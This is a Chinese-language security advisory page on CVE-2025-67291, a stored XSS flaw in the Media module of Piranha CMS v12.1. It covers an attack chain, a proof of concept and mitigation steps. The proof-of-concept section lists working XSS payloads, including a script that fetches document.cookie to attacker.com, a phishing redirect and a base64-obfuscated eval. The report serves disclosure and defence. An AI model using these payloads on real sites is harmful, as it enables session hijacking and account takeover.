IPBUF安全漏洞报告
English
CVE-2025-67291 CVSS 6.1 中危

CVE-2025-67291 Piranha CMS v12.1 存储型XSS漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2025-67291
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Piranha CMS v12.1

相关标签

存储型XSSPiranha CMSCVE-2025-67291Media模块内容管理系统跨站脚本会话劫持.NET Core

漏洞概述

CVE-2025-67291是Piranha CMS v12.1版本中存在的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞位于Piranha CMS的Media模块中,攻击者可以通过在媒体文件的Name字段中注入精心构造的恶意Payload来实现持久化的跨站脚本攻击。由于该漏洞属于存储型XSS,恶意脚本会被永久存储在服务器端数据库中,当其他用户访问包含恶意内容的页面时,攻击代码会自动执行,从而窃取用户会话Cookie、劫持用户账号、进行钓鱼攻击或植入恶意重定向链接。Piranha CMS是一个基于.NET Core开发的开源内容管理系统,广泛应用于企业网站和Web应用开发。由于该CMS通常作为企业级解决方案部署,存储型XSS漏洞可能导致大量终端用户受到影响,敏感数据泄露风险较高。漏洞的CVSS评分为6.1,属于中等严重程度,但考虑到其在网络环境中可被远程利用且无需认证即可发起攻击,实际危害不容忽视。

技术细节

该存储型XSS漏洞的根因在于Piranha CMS v12.1的Media模块在处理用户输入的Name字段时缺乏充分的输入验证和输出编码。当用户上传媒体文件或编辑现有媒体资源时,系统直接将用户提供的Name字段内容存储到数据库中,并在后续页面渲染过程中未对特殊字符进行HTML实体编码。攻击者可以利用这一漏洞注入包含JavaScript代码的恶意Payload,例如:<img src=x onerror=alert(document.cookie)>。存储型XSS的攻击流程与反射型XSS不同,恶意代码会被永久保存在服务器端,每次有用户访问受影响的媒体管理页面时都会触发执行。由于Piranha CMS的Media模块通常需要管理员权限访问,攻击者可能需要先获取一定的访问权限才能利用此漏洞。然而,一旦恶意脚本被执行,攻击者可以窃取管理员会话令牌,从而进一步接管整个CMS系统。漏洞的利用条件包括:攻击者需要能够访问Piranha CMS的Media模块、具有上传或编辑媒体文件的权限,以及目标用户需要访问触发漏洞的页面。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的Piranha CMS版本,确认其为v12.1版本,并定位到存在漏洞的Media模块访问入口
STEP 2
Access Gaining
攻击者获取Piranha CMS的管理员或具有媒体管理权限的账号访问权限,或通过其他漏洞提升权限
STEP 3
Payload Injection
攻击者上传媒体文件或在编辑现有媒体时,在Name字段中注入包含恶意JavaScript代码的XSS Payload,如<img src=x onerror=alert(document.cookie)>
STEP 4
Persistence
恶意Payload被存储到服务器数据库中,由于是存储型XSS,攻击代码会持久存在于系统中
STEP 5
Trigger Execution
当管理员或其他用户访问Media模块列表页面时,浏览器解析页面HTML,触发执行注入的恶意JavaScript代码
STEP 6
Session Hijacking
恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,并将数据外传到攻击者控制的服务器
STEP 7
Account Takeover
攻击者利用窃取的会话信息劫持管理员账号,完全接管Piranha CMS系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-67291 Stored XSS PoC for Piranha CMS v12.1 // Media Module Name Field Injection // Step 1: Upload a media file with malicious name // Intercept the upload request and modify the 'Name' parameter: const pocPayload = '<img src=x onerror=alert(document.cookie)>'; // Example HTTP POST request to upload media: const uploadRequest = { method: 'POST', url: '/manager/media/upload', headers: { 'Content-Type': 'multipart/form-data', 'Authorization': 'Bearer <admin_token>' }, body: { 'file': '@malicious_file.jpg', 'Name': pocPayload // Inject XSS payload here } }; // Alternative payload variants: const altPayloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', '<iframe src="javascript:alert(document.domain)">', '<svg onload=eval(atob("YWxlcnQoJ1hTUycp"))>', '<body onload=document.location="https://attacker.com/phish">' ]; // Step 2: Trigger the XSS // Navigate to Media listing page where the malicious name is displayed: // GET /manager/media // The injected script will execute when the page renders the media name

影响范围

Piranha CMS v12.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Media模块的访问权限,仅允许可信用户上传和编辑媒体文件;2) 在Web应用防火墙(WAF)层面配置XSS过滤规则,对Name字段中的特殊字符进行拦截;3) 对所有用户输入实施严格的输入长度限制和字符类型验证;4) 启用HTTPOnly和Secure标志保护Cookie,防止JavaScript访问;5) 实施严格的访问控制策略,确保攻击者难以获取必要的利用条件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表